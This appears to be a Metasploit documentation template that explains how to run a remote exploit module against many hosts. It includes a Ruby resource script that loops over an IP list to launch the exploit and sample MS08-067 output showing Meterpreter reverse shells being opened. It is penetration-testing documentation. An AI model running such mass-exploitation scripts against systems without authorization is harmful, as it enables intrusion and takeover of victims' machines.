remote_exploit_demo_template.erb 3.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100
  1. **Using <%= mod.shortname %> against a single host**
  2. Normally, you can use <%= mod.fullname %> this way:
  3. ```
  4. msf > use <%= mod.fullname %>
  5. msf <%= mod.type %>(<%= mod.shortname %>) > show targets
  6. ... a list of targets ...
  7. msf <%= mod.type %>(<%= mod.shortname %>) > set TARGET target-id
  8. msf <%= mod.type %>(<%= mod.shortname %>) > show options
  9. ... show and set options ...
  10. msf <%= mod.type %>(<%= mod.shortname %>) > exploit
  11. ```
  12. **Using <%= mod.shortname %> against multiple hosts**
  13. But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
  14. First, create a list of IPs you wish to exploit with this module. One IP per line.
  15. Second, set up a background payload listener. This payload should be the same as the one your
  16. <%= mod.shortname %> will be using:
  17. 1. Do: ```use exploit/multi/handler```
  18. 2. Do: ```set PAYLOAD [payload]```
  19. 3. Set other options required by the payload
  20. 4. Do: ```set EXITONSESSION false```
  21. 5. Do: ```run -j```
  22. At this point, you should have a payload listening.
  23. Next, create the following script. Notice you will probably need to modify the ip_list path, and
  24. payload options accordingly:
  25. ```
  26. &#x3c;ruby&#x3e;
  27. #
  28. # Modify the path if necessary
  29. #
  30. ip_list = '/tmp/ip_list.txt'
  31. File.open(ip_list, 'rb').each_line do |ip|
  32. print_status("Trying against #{ip}")
  33. run_single("use <%= mod.fullname %>")
  34. run_single("set RHOST #{ip}")
  35. run_single("set DisablePayloadHandler true")
  36. #
  37. # Set a payload that's the same as the handler.
  38. # You might also need to add more run_single commands to configure other
  39. # payload options.
  40. #
  41. run_single("set PAYLOAD [payload name]")
  42. run_single("run")
  43. end
  44. &#x3c;/ruby&#x3e;
  45. ```
  46. Next, run the resource script in the console:
  47. ```
  48. msf > resource [path-to-resource-script]
  49. ```
  50. And finally, you should see that the exploit is trying against those hosts similar to the following
  51. MS08-067 example:
  52. ```
  53. msf > resource /tmp/exploit_hosts.rc
  54. [*] Processing /tmp/exploit_hosts.rc for ERB directives.
  55. [*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
  56. [*] Trying against 192.168.1.80
  57. RHOST => 192.168.1.80
  58. DisablePayloadHandler => true
  59. PAYLOAD => windows/meterpreter/reverse_tcp
  60. LHOST => 192.168.1.199
  61. [*] 192.168.1.80:445 - Automatically detecting the target...
  62. [*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
  63. [*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
  64. [*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
  65. [*] Sending stage (957999 bytes) to 192.168.1.80
  66. [*] Trying against 192.168.1.109
  67. RHOST => 192.168.1.109
  68. DisablePayloadHandler => true
  69. PAYLOAD => windows/meterpreter/reverse_tcp
  70. LHOST => 192.168.1.199
  71. [*] 192.168.1.109:445 - Automatically detecting the target...
  72. [*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
  73. [*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
  74. [*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
  75. [*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
  76. [*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
  77. [*] Sending stage (957999 bytes) to 192.168.1.109
  78. [*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
  79. ```